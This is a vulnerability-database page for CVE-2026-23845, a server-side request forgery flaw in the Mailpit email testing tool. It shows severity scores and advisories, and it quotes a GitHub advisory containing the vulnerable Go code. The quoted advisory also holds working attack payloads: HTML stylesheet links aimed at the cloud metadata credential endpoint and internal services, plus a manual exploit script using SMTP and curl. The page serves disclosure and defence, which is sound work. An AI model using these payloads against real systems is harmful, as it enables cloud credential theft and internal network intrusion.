CVE-2026-23845

highpriority · track · 30EPSS 0.004 · 37 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.43% (37th) EPSS
CVSS 7.5 · high
Is it mine?
6 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · osv · cert_bund

EPSS · scored 2026-10-28

Mailpit is an email testing tool and API for developers. Versions prior to 1.28.3 are vulnerable to Server-Side Request Forgery (SSRF) via HTML Check CSS Download. The HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `<link rel="stylesheet" href="...">` tags to inline them for testing. Version 1.28.3 fixes the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.8–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 3.6
v3.15.8mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:Nsecondary · ENISA EU
v3.15.8mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 1.4
v3.15.8mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:Nsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (6)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-0146MailPit: Mehrere SchwachstellenDeutsch2026-01-19csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in MailPit ausnutzen, um Dateien zu manipulieren, und um Informationen offenzulegen.

  • GHSA-6jxm-fv7w-rw5jMailpit has a Server-Side Request Forgery (SSRF) via HTML Check API2026-01-21ghsa · osvUS

    ### Server-Side Request Forgery (SSRF) via HTML Check CSS Download The HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `<link rel="stylesheet" href="...">` tags to inline them for testing. #### Affected Components - **Primary File:** `internal/htmlcheck/css.go` (lines 132-207) - **API Endpoint:** `/api/v1/message/{ID}/html-check` - **Handler:** `server/apiv1/other.go` (lines 38-75) - **Vulnerable Functions:** - `inlineRemoteCSS()` - line 132 - `downloadToBytes()` - line 193 - `isURL()` - line 221 #### Technical Details **1. Insufficient URL Validation (`isURL()` function):** ```go // internal/htmlcheck/css.go:221-224 func isURL(str string) bool { u, err := url.Parse(str) return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != "" } ``` **2. Unrestricted Download (`downloadToBytes()` function):** ```go // internal/htmlcheck/css.go:193-207 func downloadToBytes(url string) ([]byte, error) { client := http.Client{ Timeout: 5 * time.Second, } // Get the link response data resp, err := client.Get(url) // ⚠️ VULNERABLE - No IP validation if err != nil { return nil, err } defer func() { _ = resp.Body.Close() }() if resp.StatusCode != 200 { err := fmt.Errorf("error downloading %s", url) return nil, err } body, err := io.ReadAll(resp.Body) // ⚠️ Downloads ENTIRE response if err != nil { return nil, err } return body, nil } ``` **3. Automatic CSS Processing:** ```go // internal/htmlcheck/css.go:132-187 func inlineRemoteCSS(h string) (string, error) { reader := strings.NewReader(h) doc, err := goquery.NewDocumentFromReader(reader) if err != nil { return h, err } remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes for _, link := range remoteCSS { attributes := link.Attr for _, a := range attributes { if a.Key == "href" { if !isURL(a.Val) { // ⚠️ Insufficient validation continue } if config.BlockRemoteCSSAndFonts { logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val) return h, nil } resp, err := downloadToBytes(a.Val) // ⚠️ Downloads from ANY URL if err != nil { logger.Log().Warnf("[html-check] failed to download %s", a.Val) continue } // Inlines the downloaded CSS styleBlock := &html.Node{ Type: html.ElementNode, Data: "style", DataAtom: atom.Style, } styleBlock.AppendChild(&html.Node{ Type: html.TextNode, Data: string(resp), // Downloaded content inserted }) link.Parent.AppendChild(styleBlock) } } } return doc.Html() } ``` #### Attack Vectors **Attack Vector 1: Cloud Metadata Credential Theft** Attacker sends HTML email with: ```html <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"> </head> <body>Legitimate email content</body> </html> ``` When HTML check is triggered: 1. Mailpit makes GET request to AWS metadata endpoint 2. Downloads IAM credentials as "CSS content" 3. Credentials logged or potentially leaked via error messages #### Proof of Concept A complete working exploit is provided in `ssrf_htmlcheck_poc.py`. **PoC Usage:** ```bash # Ensure Mailpit is running # SMTP: localhost:1025 # HTTP API: localhost:8025 # Run the exploit python3 ssrf_htmlcheck_poc.py ``` **PoC Workflow:** 1. **Starts SSRF listener** on port 8888 to detect callbacks 2. **Sends malicious HTML emails** containing: ```html <link rel="stylesheet" href="http://localhost:8888/malicious.css"> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> <link rel="stylesheet" href="http://127.0.0.1:6379/"> ``` 3. **Triggers HTML check** via API: `GET /api/v1/message/{ID}/html-check` 4. **Monitors callbacks** and analyzes responses 5. **Demonstrates exploitation** of: - Local listener (proves SSRF) - Cloud metadata endpoints - Internal services (Redis, etc.) - Private network ranges **Expected Output:** ``` ╔══════════════════════════════════════════════════════════════════════════════╗ ║ Mailpit SSRF PoC - HTML Check CSS Download Vulnerability ║ ║ Severity: MODERATE ║ ║ File: internal/htmlcheck/css.go:193-207 ║ ╚══════════════════════════════════════════════════════════════════════════════╝ [+] SSRF listener started on port 8888 [*] Testing SSRF with callback to local listener... ================================================================================ [*] Testing SSRF with target: http://localhost:8888/malicious.css ================================================================================ [+] Email sent with CSS link to: http://localhost:8888/malicious.css [+] Message ID: abc123xyz [*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check [+] HTML check completed (Status: 200) [SSRF-LISTENER] 127.0.0.1 - "GET /malicious.css HTTP/1.1" 200 - [+] SUCCESS! SSRF confirmed - Received 1 callback(s): Path: /malicious.css User-Agent: Mailpit/dev ================================================================================ [*] Testing SSRF against internal/private targets... ================================================================================ ⚠️ Note: These may timeout or fail, but Mailpit WILL attempt the connection [+] Email sent with CSS link to: http://127.0.0.1:6379/ [+] Message ID: def456uvw [*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check [!] Request timed out - target may be blocking or slow ``` **Manual Testing:** ```bash # 1. Send malicious email cat << 'EOF' | python3 - <<SENDMAIL import smtplib from email.mime.text import MIMEText html = ''' <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> </head> <body>Test</body> </html> ''' msg = MIMEText(html, 'html') msg['Subject'] = 'SSRF Test' msg['From'] = 'test@test.com' msg['To'] = 'victim@test.com' with smtplib.SMTP('localhost', 1025) as smtp: smtp.send_message(msg) SENDMAIL EOF # 2. Get message ID MESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID') # 3. Trigger SSRF curl -v "http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check"

  • GO-2026-4345Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API in github.com/axllent/mailpit2026-02-03vendor · osvUS

    Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API in github.com/axllent/mailpit

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-01-19modified 2026-06-17
08

references (11)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan